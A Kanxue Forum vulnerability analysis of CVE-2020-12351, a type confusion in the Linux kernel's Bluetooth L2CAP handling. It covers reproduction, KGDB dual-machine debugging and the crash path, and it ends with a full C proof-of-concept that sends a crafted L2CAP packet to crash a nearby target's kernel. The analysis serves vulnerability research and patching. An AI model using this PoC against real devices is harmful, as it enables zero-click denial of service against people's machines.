Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

This article is a featured article from the Kanxue Forum.

Author of the Kanxue ForumID: Jimu Chutianshu

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

1. Vulnerability Information

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

1. Vulnerability Overview

CVE-2020-12351 is a Bluetooth security vulnerability found by Google security researchers in the Linux kernel. The vulnerability is located in net/bluetooth/l2cap_core.c and is a heap-based type confusion vulnerability. An attacker can trigger this vulnerability by sending malicious L2CAP payloads to the target device within Bluetooth range, leading to a DoS of the Bluetooth service on the target device or arbitrary code execution with kernel privileges. The exploitation of this vulnerability does not require interaction from the victim, thus it is referred to as a “zero-click attack”.

2. Vulnerability Mechanism

Bluetooth.ko, while processing L2CAP packets, passed an incorrect data type as a parameter to the kernel function, causing an error in the kernel function’s pointer parsing, leading to a null pointer dereference or an unrecoverable page fault.

3. Impact and Solutions

Versions of the Linux kernel above 4.8 are affected. I found in testing that the vulnerability no longer works starting from Linux kernel 5.4.0-53. Intel recommends upgrading to Linux kernel version 5.9.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

2. Reproducing the Vulnerability

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 2-1

The attacker and the target machine both run on Ubuntu 20.04 Linux kernel 5.4.0-42. The attacker can easily obtain the target machine’s Bluetooth address BD (the method is relatively simple) and run the PoC locally with root privileges to crash the target machine’s Bluetooth service.

First, the target machine needs to enable Bluetooth and make itself discoverable and connectable:

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 2-2 Target machine enabling Bluetooth

Next, enter the command “sudo ./poc 18:26:49:CD:09:E1” on the attacking machine to execute the verification program:

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 2-3 Sending malicious packets

It can be seen that the target machine has crashed and is rebooting:

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 2-4
After the target machine reboots, the memory dump file observed in the /var/crash directory shows that the issue occurred in the kernel Bluetooth service:
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 2-5 Target machine Bluetooth service crash
Observing the kernel log, it was found that when the kernel reached “sk_filter_trim_cap + 0x6d”, a null pointer dereference occurred, corresponding to line 657 of filter.h.
The sk_filter_trim_cap function is located in the kernel file vmlinux, and the corresponding test instruction accesses the content at [r15+2]. r15=0, thus the actual access address is 0x2, leading to a null pointer dereference.

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

3. Setting Up a Dual Machine Debugging Environment

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 3-1 Connection diagram

The attacker sends malicious packets to the target machine causing the target machine’s Bluetooth service to crash, and the debugging machine connects to the target machine via RS-232 serial cable to use KGDB for kernel debugging.

Dual machine debugging requires the target machine to support KGDB debugging, which can be enabled in the kernel configuration during compilation. The current Ubuntu distribution kernel has KGDB support enabled by default. You can check with the command “cat /boot/config-uname -r | grep -i GDB” to see that the current kernel supports KGDB and serial debugging.

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 3-2 Checking KGDB status

1. Prepare Symbol Files and Kernel Source Files

Dual machine debugging requires keeping the kernel versions running on the target and debugging machines as consistent as possible. Here, both the target and debugging machines are running Linux kernel 5.4.0-42.46. To view symbol information in kgdb during debugging, you need to install the debug information and symbol kernel of the same version on the debugging machine. We can download the symbol files from the launchpad.net site.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 3-3 Symbol file and source file download
Copy the files to the debugging machine and execute the “dpkg -i” command to install the symbol files. After installation, “usr/lib/debug/boot/vmlinux-5.4.0-42-generic” and “/usr/lib/debug/lib/modules/5.4.0-42-generic/kernel/net/bluetooth/bluetooth.ko” are the required symbol files.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 3-4 Symbol file installation directory

2. Configure the Target Machine and Establish a Debugging Session

The target machine’s kernel has KGDB debugging enabled by default, but it requires configuration to work. We need to edit the grub file to append KGDB debugging to the boot parameters so that we can enter debugging mode at startup. Edit the “/etc/grub.d/40-custom” file with root privileges and add the following boot entry:
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 3-5 Editing grub file
Note the colored content in the kernel startup command section. kgdbwait indicates that the target machine will wait for the debugging machine’s KGDB connection after booting. kgdboc is an abbreviation for KGDB over console, indicating interaction via the console. ttyS0 indicates interaction through the first serial port by default, and 115200 is the baud rate for the serial port. nokaslr indicates disabling kernel address randomization to facilitate breakpoint debugging.
At this point, the configuration of the target machine is complete. After booting, you will see that grub has added a debugging startup option, and upon entering debugging, you will see the following waiting for connection screen:
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 3-6
In the debugging machine, use a PL2303 USB to serial converter to extend the computer’s serial port. Connect it to the target machine’s COM1 port using an RS-232 cable. At this point, the debugging machine’s /dev directory will have an additional ttyUSB0 file, which is the serial communication file. Since root privileges are required to use the serial port by default, execute the command “sudo usermod -a -G dialout username” to add the username to the dialout group of the tty file. After rebooting, you can operate the port with normal user permissions.
Use the stty command to configure the baud rate of the debugging machine’s serial port to 115200 to match the target machine.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 3-7 Configuring the debugging machine’s serial port
Next, create a gdb configuration file config. The purpose of this file is to automatically load symbol files, set the target machine architecture, and connect the debugging machine, which can avoid complex manual input.

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 3-8 gdb configuration file
To enable gdb to use the list command to display source code, gdb reads the source code from the /build/linux-kcrkKx directory. Therefore, create the build and linux-kcrkKx directories under the root directory, copy the source directory to the linux-kcrkKx directory, and rename it to linux-5.4.0.

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 3-9 gdb source code directory
At this point, the debugging machine is also configured. Loading the gdb configuration file will show that gdb automatically breaks, and using the list command will allow you to see the kernel source code at the breakpoint.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 3-10

3. Precautions

Disable kernel address randomization (KASLR). The existence of KASLR causes the base address loaded by the kernel to vary with each reboot, which can interfere with debugging. Therefore, it is essential to add nokaslr to the startup command line in the grub file.
Set the target architecture in the gdb configuration file. If the target architecture is not specified, gdb will default to assuming the target machine is 32-bit, which can cause many subsequent issues. Therefore, set set architecture i386:x86-64 in the configuration file.
Copy the kernel source files. The default search source directories for different gdb versions may differ, so you need to create the source directory based on the specific error messages encountered during debugging.
Utilize Sysrq to set breakpoints in the target machine. After entering the continue command in gdb, the kernel begins to run. If you input Ctrl+c again, it will not stop the kernel in the target machine. Instead, you need to write the character “g” to the /proc/sysrq-trigger file in the target machine to stop the kernel, waiting for kgdb commands. For comprehensive information on the usage of the sysrq-trigger file, please refer to the sysrq.txt in the Documentation directory of the Linux 4.x source code.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

4. Introduction to Bluetooth Technology

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

1. Classic Bluetooth Architecture

Bluetooth devices consist of a Bluetooth host, Bluetooth module, and transport layer. Taking a computer with Bluetooth capabilities as an example, the Bluetooth module is the integrated Bluetooth communication circuitry on the motherboard, including the Bluetooth master chip, baseband chip, and RF circuitry, all of which can now be integrated into a single chip. The Bluetooth host is responsible for using the Bluetooth module to implement specific functions, such as file transfer and voice calls. This part includes both hardware and software and is the most complex part. The transport layer connects the Bluetooth host and Bluetooth module, sending the host’s requests to be executed by the module and passing the data received from the module back to the host. This part includes circuit connections and corresponding drivers, commonly using USB buses, UART, RS232, and their drivers.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 4-1 Bluetooth communication architecture
For applications requiring high real-time performance, such as voice transmission, synchronous data exchange (SCO) is used to send data to the Bluetooth module for transmission. For file transfer applications that do not require high real-time performance, asynchronous data exchange (ACL) is used for transmission.
During asynchronous data exchange, to allow multiple upper-layer protocols to use a single baseband channel, processing through the Logical Link Control and Adaptation Protocol (L2CAP) layer is required. For example, in Bluetooth headsets, there is both ACL data for playing audio and ACL data for controlling song playback, but they share a single physical channel. In this case, the data format defined by L2CAP is used to distinguish them.
The original data of the application needs to be segmented through the L2CAP layer, packaged into L2CAP format packets with headers, and passed to the Host Controller Interface (HCI) layer, which will package the data into a format understandable by the host controller and send it to the Bluetooth module for execution. During reception, the Bluetooth module sends the received data to the host in HCI packet format, which the host parses and passes to the L2CAP layer. Once the L2CAP layer receives enough packets, it will reassemble them into application data and finally pass them to the upper-layer protocols.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 4-2 Segmentation and Reassembly

2. HCI ACL Packet Parsing

Section 2 mentioned that the vulnerability is located at the L2CAP data parsing point, where HCI ACL packets carry L2CAP data packets. L2CAP data packets carry data from upper-layer application protocols. To send data using the Bluetooth module, L2CAP data packets must also have HCI headers added to become L2CAP packets sent to the Bluetooth module for modulation. The reception process is the opposite.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 4-3 HCI ACL packet format
HCI packets have four formats: command packets, event packets, ACL data packets, and SCO packets. The first byte 0x2 indicates it is an HCI ACL packet; the handle is used to identify a connection with a remote Bluetooth host, which is useful when multiple devices are connected; PB indicates the position of the L2CAP packet, with 0x2 indicating the first L2CAP packet and 0x1 indicating a middle packet; dlen indicates the length of the HCI payload in bytes.
The L2CAP layer has three purposes: channel multiplexing, segmentation and reassembly, and error control and retransmission. Channel multiplexing is marked using the CID field in the L2CAP header, with different protocols using different CIDs to mark their data packets. The command channel is used to establish service communication between local and remote; the broadcast channel is used to broadcast data to a group of devices, belonging to a connectionless channel; the reserved channel is used for testing; dynamically allocated channels are used for each upper-layer application protocol.
CID
Description
1
Command Channel
2
Broadcast Channel
3~3f
Reserved
40~ffff
Dynamically Allocated
Table 4-1 CID Allocation
The Length field marks the total length of the L2CAP payload and FCS checksum, with a maximum of 65535 bytes or 64KB.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

5. PoC Analysis

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Public PoC code can be found in Appendix 2.

Lines 10 to 52 of the code are used to generate the FCS checksum for L2CAP packets, which is identical to the logic used in the kernel, so it is directly extracted from the kernel source code, located at linux-5.4/linux-5.4/lib/crc16.c.

Entering the main function, the first call is to hci_open_dev to open a raw socket for communication with the local Bluetooth module. Through this socket, HCI packets can be constructed freely.

Lines 93 to 114 of the code generate an L2CAP layer socket and connect it to the remote host. The purpose of this socket is to generate a remote connection handle, which will later be extracted and assembled into the HCI raw socket data packet. It is important to note that in Bluetooth programming, the active connection party also needs to bind the socket to the local address, which is different from TCP/IP-based network programming.

Lines 116 to 123 call the getsockopt function to extract the handle of the L2CAP connection.

Lines 126 to 134 construct the inner L2CAP packet of the HCI ACL packet, where the CID field of the L2CAP packet header is set to AMP_MGR_CID(0x3), and the FCS checksum of the L2CAP packet excluding the FCS field is calculated and added to the FCS field. The constructed L2CAP packet is as follows:

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 5-1 L2CAP Data Structure

Line 149 calls the custom hci_send_acl_data function to pack the L2CAP packet into an HCI ACL data packet, and finally send it through the HCI raw socket.

The hci_send_acl_data function receives four parameters: hci_socket is the local HCI raw socket, hci_handle is the handle of the established L2CAP connection, data is the L2CAP data packet to be sent, and data_length is the length of the L2CAP data packet.

hci_handle and PC, BC flags form the handle field of the HCI packet header, and data_length initializes the dlen field of the HCI packet header. The HCI packet header and L2CAP packet are packed and sent to the HCI raw socket using the writev function, so the construction of the HCI ACL packet is completed in writev, where the first byte packed is HCI_ACLDATA_PKT(0x2), indicating that this is an ACL type HCI packet.

The constructed HCI data packet is sent to the local Bluetooth module through the HCI raw socket, where the module’s firmware recognizes and processes it, passing it to the baseband for transmission to the target machine.

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 5-2 HCI ACL Packet

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

6. Vulnerability Analysis

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

1. Static Analysis

By observing the call stack information, the calling hierarchy can be seen as follows:

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 5-1 Calling Hierarchy

Upon arrival of the HCI packet, it triggers an interrupt that wakes the hci_rx_work routine. This function retrieves the socket buffer containing the HCI packet from the receive queue; at this point, the data pointer of the socket buffer points to the HCI packet header, and hci_skb_pkt_type determines the payload type in the data area, passing the ACL type HCI data packet to hci_acldata_packet for processing.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 5-2 HCI Layer Socket Buffer
hci_acl_data_packet extracts the connection handle from the HCI packet header in the socket buffer. This handle is used as a hash value to find the hci connection information conn. The flags are the PB and BC values extracted from the HCI header, used to determine the position of the L2CAP packet. The skb_pull function is called to point the data pointer of the socket buffer to the L2CAP packet header. Next, the l2cap_recv_acldata function is called, at which point the data enters the L2CAP layer from the HCI layer.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 5-3 L2CAP Layer Socket Buffer
L2cap_recv_acldata retrieves the l2cap connection information from the hci connection information. The flags are the PB value extracted from the HCI header. The payload sent from the PoC has PB=0x2, and the length information in the L2CAP header is verified. After verification, it enters the l2cap_recv_frame function.
l2cap_recv_frame extracts the CID value from the L2CAP packet header and points the data pointer of the socket buffer to the L2CAP payload. Based on the CID value, it selects the corresponding channel processing function. The CID of the L2CAP packet sent from the PoC is 0x3, so it enters the l2cap_data_channel function.

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 5-4 Data Points to L2CAP Payload
L2cap_data_channel retrieves channel information from the L2CAP connection information. The L2CAP packet sent from the PoC has a CID field of 0x3, indicating that it is an A2MP protocol packet. However, the process of negotiating the establishment of the A2MP channel through the signaling channel was not followed; instead, an A2MP packet was constructed directly through the HCI socket and sent to the target machine, causing l2cap_get_chan_by_scid to return a null pointer. The control flow then enters the a2mp_channel_create function.
The a2mp_channel_create function eventually calls a2mp_chan_open, which sets chan->mode to L2CAP_MODE_ERTM, leading to the case judgment where it enters the l2cap_data_rcv function.
L2cap_data_rcv first calls l2cap_check_fcs to verify the FCS of the L2CAP payload. The FCS generation function of the PoC is directly extracted from the source code, and if the verification fails, the packet is discarded. Next, in the second if judgment, the first condition chan->mode==L2CAP_MODE_ERTM is true, so it executes the sk_filter inline function, which expands to sk_filter_trim_cap.
Note that the first parameter received by sk_filter_trim_cap is a pointer to struct sock, but the filter passed into sk_filter is chan->data, leading to a problem where filter=chan->data->sk_filter.

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 5-5 Problem Location
Based on the crash file, the final issue is located at line 657 of filter.h, where the __bpf_prog_run_save_cb function is actually the result of the inline function bpf_prog_run_save_cb being expanded, as detailed in code 5-9.
The member changes in the parameter call chain are chan->data->sk_filter->prog->cb_access. Due to the confusion in the first parameter passed to the vulnerable function sk_filter in code 5-6, chan->data->sk_filter->prog=NULL, leading to a null pointer dereference on the final step prog->cb_access.
Finally, I will further investigate how type confusion leads to null pointer dereference.
According to the normal logic of the program, the parameter passed to the vulnerable function sk_filter in code 5-6 should be a struct sock * variable, and the normal parameter chain member changes should be as follows:
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 5-7 Parameter Chain
In the abnormal parameter chain, chan->data is initialized during the execution of the a2mp_channel_create function, which calls amp_mgr_create to initialize chan->data.
In fact, chan->data points to a block of heap space of type struct amp_mgr, with a size of 0x70. Clearly, accessing the sk_filter member in the abnormal parameter chain exceeds the heap’s range, leading to potential memory access issues in the subsequent steps. This indeed occurred in this analysis, capturing a null pointer dereference at prog+0x2, but multiple runs also captured an unrecoverable page fault at sk_filter+0x18.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 5-8 Two Types of Exceptions
The unrecoverable page fault at sk_filter+0x18 can also be explained well. Analyzing the disassembled code of sk_filter_trim_cap:
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 5-9 sk_filter_trim_cap Fragment
[sk+110h] retrieves sk_filter into the rax register, where rax is the return value of filter=rcu_dereference(sk->sk_filter) in code 5-7. If rax=0, the packet is discarded directly, so to reach the step mov r15, [rax+18h], rax must be a non-zero garbage value in the kernel heap. Accessing memory using this value as an address will lead to an unrecoverable page fault.

2. Dynamic Analysis

The dynamic debugging approach is to track the execution flow and observe whether the key kernel paths are executed and the final memory corruption effect achieved.
Based on the static analysis above, I summarize several key points to focus on. The first is whether the result of l2cap_get_chan_by_scid in code 5-5 is NULL, as this affects whether l2cap_data_rcv gets executed. The second is the execution result of rcu_dereference in code 5-7, as the value of filter directly determines whether the last two steps of the parameter chain shown in Figure 5-7 will encounter memory access errors.
Thus, two key breakpoints are set after the execution of l2cap_get_chan_by_scid and after the execution of rcu_dereference.
First, the base address of the Bluetooth module on the target machine is obtained as 0xffffffff_c032d000.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 5-10 Module Base Address
Start gdb in the debugging machine and connect remotely to the target machine. In the target machine, use sysrq to set a breakpoint, allowing you to input debugging commands in gdb.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 5-11
Gdb loads the symbol file for bluetooth.ko, and the base address of the text segment is the module’s loading base address. At the same time, set a breakpoint at l2cap_data_channel and continue to let the target machine run.

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 5-12 Loading Module Symbol File
Run the PoC on the attacking machine to send malicious packets to the target machine. At this point, gdb breaks, and the disassembled l2cap_data_channel function is examined, setting the second breakpoint at 0xffffffff_c035f0eb, and continue executing.

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 5-13
The second breakpoint hits, and it is observed that rax=0, meaning that the return value of l2cap_get_chan_by_scid is NULL. Referring to code 5-5, it is known that the control flow enters the a2mp_channel_create function, setting the stage for a series of operations.

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 5-14
The third breakpoint is set at the sk_filter_trim_cap function at 0xffffffff_819565ef, corresponding to the rcu_dereference(sk->sk_filter) in code 5-7, where rax is the return value corresponding to the filter variable.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 5-15
Continuing execution leads to observing that rax is clearly not a pointer but a garbage value from the heap, confirming the conclusions drawn from the previous static analysis.

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 5-16
Attempting to access the memory at rax+0x18 in gdb clearly fails, and continuing will cause the target machine to crash.

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Figure 5-17
Continuing execution to the instruction “mov 0x18(%rax), %r15” leads the target machine to crash, and the debugging process exits. Since the target machine hung, the kdump did not dump, so the crash file could not be analyzed, but it can be confirmed that this is the second type of exception shown in Figure 5-8.
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Figure 5-18
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

7. References

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
[1] BleedingTooth: Linux Kernel Bluetooth Vulnerability.https://www.4hou.com/posts/VlEB
[2] BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution Vulnerability (CVE-2020-12351) Demonstration.https://www.bilibili.com/video/av244924734/
[3] Linux: Heap-Based Type Confusion in L2CAP (BleedingTooth).https://github.com/google/security-research/security/advisories/GHSA-h637- c88j-47wq
[4] Ubuntu Kernel Source Debugging Methods (Dual Machine Debugging).https://bbs.pediy.com/thread-249192.htm
[5] “Deep Dive into Linux Kernel Architecture” by Wolfgang Mauerer
[6] “Bluetooth Essential for Programmers”
[7] “BLUETOOTH SPECIFICATION Version 4.2”
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

8. Appendix

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

1. Resource Download

[1] Kernel Symbol Files and Source Download.https://launchpad.net/ubuntu/groovy/amd64/linux-image-unsigned-5.4.0-42-generic-dbgsym/5.4.0-42.46
[2] HCI Data Packets.https://pan.baidu.com/s/1i86sskp4DvBc5dQVOnEdSQ Password: un90

2. PoC.c

# poc.c # Compiled with command “gcc -o poc poc.c -lbluetooth”##include <stdlib.h>#include <unistd.h>#include <sys/socket.h>#include <sys/uio.h>#include <bluetooth/bluetooth.h>#include <bluetooth/l2cap.h>#include <bluetooth/hci.h>#include <bluetooth/hci_lib.h>#define AMP_MGR_CID 0x03 static uint16_t crc16_tab[256] = {    0x0000, 0xc0c1, 0xc181, 0x0140, 0xc301, 0x03c0, 0x0280, 0xc241,    0xc601, 0x06c0, 0x0780, 0xc741, 0x0500, 0xc5c1, 0xc481, 0x0440,    0xcc01, 0x0cc0, 0x0d80, 0xcd41, 0x0f00, 0xcfc1, 0xce81, 0x0e40,    0x0a00, 0xcac1, 0xcb81, 0x0b40, 0xc901, 0x09c0, 0x0880, 0xc841,    0xd801, 0x18c0, 0x1980, 0xd941, 0x1b00, 0xdbc1, 0xda81, 0x1a40,    0x1e00, 0xdec1, 0xdf81, 0x1f40, 0xdd01, 0x1dc0, 0x1c80, 0xdc41,    0x1400, 0xd4c1, 0xd581, 0x1540, 0xd701, 0x17c0, 0x1680, 0xd641,    0xd201, 0x12c0, 0x1380, 0xd341, 0x1100, 0xd1c1, 0xd081, 0x1040,    0xf001, 0x30c0, 0x3180, 0xf141, 0x3300, 0xf3c1, 0xf281, 0x3240,    0x3600, 0xf6c1, 0xf781, 0x3740, 0xf501, 0x35c0, 0x3480, 0xf441,    0x3c00, 0xfcc1, 0xfd81, 0x3d40, 0xff01, 0x3fc0, 0x3e80, 0xfe41,    0xfa01, 0x3ac0, 0x3b80, 0xfb41, 0x3900, 0xf9c1, 0xf881, 0x3840,    0x2800, 0xe8c1, 0xe981, 0x2940, 0xeb01, 0x2bc0, 0x2a80, 0xea41,    0xee01, 0x2ec0, 0x2f80, 0xef41, 0x2d00, 0xedc1, 0xec81, 0x2c40,    0xe401, 0x24c0, 0x2580, 0xe541, 0x2700, 0xe7c1, 0xe681, 0x2640,    0x2200, 0xe2c1, 0xe381, 0x2340, 0xe101, 0x21c0, 0x2080, 0xe041,    0xa001, 0x60c0, 0x6180, 0xa141, 0x6300, 0xa3c1, 0xa281, 0x6240,    0x6600, 0xa6c1, 0xa781, 0x6740, 0xa501, 0x65c0, 0x6480, 0xa441,    0x6c00, 0xacc1, 0xad81, 0x6d40, 0xaf01, 0x6fc0, 0x6e80, 0xae41,    0xaa01, 0x6ac0, 0x6b80, 0xab41, 0x6900, 0xa9c1, 0xa881, 0x6840,    0x7800, 0xb8c1, 0xb981, 0x7940, 0xbb01, 0x7bc0, 0x7a80, 0xba41,    0xbe01, 0x7ec0, 0x7f80, 0xbf41, 0x7d00, 0xbdc1, 0xbc81, 0x7c40,    0xb401, 0x74c0, 0x7580, 0xb541, 0x7700, 0xb7c1, 0xb681, 0x7640,    0x7200, 0xb2c1, 0xb381, 0x7340, 0xb101, 0x71c0, 0x7080, 0xb041,    0x5000, 0x90c1, 0x9181, 0x5140, 0x9301, 0x53c0, 0x5280, 0x9241,    0x9601, 0x56c0, 0x5780, 0x9741, 0x5500, 0x95c1, 0x9481, 0x5440,    0x9c01, 0x5cc0, 0x5d80, 0x9d41, 0x5f00, 0x9fc1, 0x9e81, 0x5e40,    0x5a00, 0x9ac1, 0x9b81, 0x5b40, 0x9901, 0x59c0, 0x5880, 0x9841,    0x8801, 0x48c0, 0x4980, 0x8941, 0x4b00, 0x8bc1, 0x8a81, 0x4a40,    0x4e00, 0x8ec1, 0x8f81, 0x4f40, 0x8d01, 0x4dc0, 0x4c80, 0x8c41,    0x4400, 0x84c1, 0x8581, 0x4540, 0x8701, 0x47c0, 0x4680, 0x8641,    0x8201, 0x42c0, 0x4380, 0x8341, 0x4100, 0x81c1, 0x8081, 0x4040}; uint16_t crc16(uint16_t crc, const void *buf, size_t size) {    const uint8_t *p;    p = buf;    while (size--)        crc = crc16_tab[(crc ^ (*p++)) & 0xFF] ^ (crc >> 8);     return crc;}    /* The above part is extracted from the linux 5.4 source code for FCS calculation */ int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data, uint16_t data_length) {    uint8_t type = HCI_ACLDATA_PKT;    uint16_t BCflag = 0x0000;    uint16_t PBflag = 0x0002; /* Indicates the first L2CAP packet */    uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F; /* Fill in the PB, BC fields of the HCI packet header */    hci_acl_hdr hdr;    hdr.handle = htobs(acl_handle_pack(hci_handle, flags)); /* Merge into the handle field of the HCI packet header */    hdr.dlen = data_length; /* Fill in the payload length field of the HCI packet header */    struct iovec iv[3];    iv[0].iov_base = &type;    iv[0].iov_len = 1;    iv[1].iov_base = &hdr;    iv[1].iov_len = HCI_ACL_HDR_SIZE;    iv[2].iov_base = data;    iv[2].iov_len = data_length;    return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec)); /* HCI data packet is sent to the remote via the raw socket */} int main(int argc, char **argv) {    if (argc != 2) {        printf("Usage: %s MAC_ADDR\n", argv[0]);        return 1;    }     bdaddr_t dst_addr;    str2ba(argv[1], &dst_addr);    printf("[*] Resetting hci0 device...\n");    system("sudo hciconfig hci0 down");    system("sudo hciconfig hci0 up");    printf("[*] Opening hci device...\n");    struct hci_dev_info di;    int hci_device_id = hci_get_route(NULL);    int hci_socket = hci_open_dev(hci_device_id);    if (hci_devinfo(hci_device_id, &di) < 0) {        perror("hci_devinfo");        return 1;    }    printf("[*] Connecting to victim...\n");    struct sockaddr_l2 laddr = {0};    laddr.l2_family = AF_BLUETOOTH;    laddr.l2_bdaddr = di.bdaddr;     struct sockaddr_l2 raddr = {0};    raddr.l2_family = AF_BLUETOOTH;    raddr.l2_bdaddr = dst_addr;    int l2_sock;     if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {        perror("socket");        return 1;    }    if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {        perror("bind");        return 1;    }    if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {        perror("connect");        return 1;    }     struct l2cap_conninfo l2_conninfo;    socklen_t l2_conninfolen = sizeof(l2_conninfo);    if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen) < 0) {        perror("getsockopt");        return 1;    }     uint16_t hci_handle = l2_conninfo.hci_handle;    printf("[+] HCI handle: %x\n", hci_handle);    printf("[*] Sending malicious L2CAP packet...\n");    struct {        l2cap_hdr hdr;        uint16_t ctrl;        uint16_t fcs;    } packet = {0};     packet.hdr.len = htobs(sizeof(packet) - L2CAP_HDR_SIZE);    packet.hdr.cid = htobs(AMP_MGR_CID);    packet.fcs = crc16(0, &packet, sizeof(packet) - 2);    hci_send_acl_data(hci_socket, hci_handle, &packet, sizeof(packet));    close(l2_sock);    hci_close_dev(hci_socket);    return 0;}

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

– End –

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Kanxue ID: Jimu Chutianshu

https://bbs.pediy.com/user-home-741085.htm

*This article is original by Kanxue Forum, Jimu Chutianshu. Please indicate the source when reprinting from the Kanxue community.

# Previous Recommendations

  • Windows Application Responding to GPIO (SCI) Device Interrupts on the Motherboard – Hardware Edition

  • CVE-2020-1350 Windows DNS Server Remote Code Execution Vulnerability Analysis and Exploitation Techniques Sharing

  • Control Flow Flattening Based on LLVM Pass

  • Analysis of Protocol Encryption Algorithm of Certain Companion Software (so Layer Analysis)

  • Extremely Detailed Debugging of Format String Vulnerabilities

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability
Public Account ID: ikanxue
Official Weibo: Kanxue Security
Business Cooperation: [email protected]
Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Share the Ball

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Like the Ball

Analysis of CVE-2020-12351: Linux Bluetooth Module DoS Vulnerability

Watch the Ball

Leave a Comment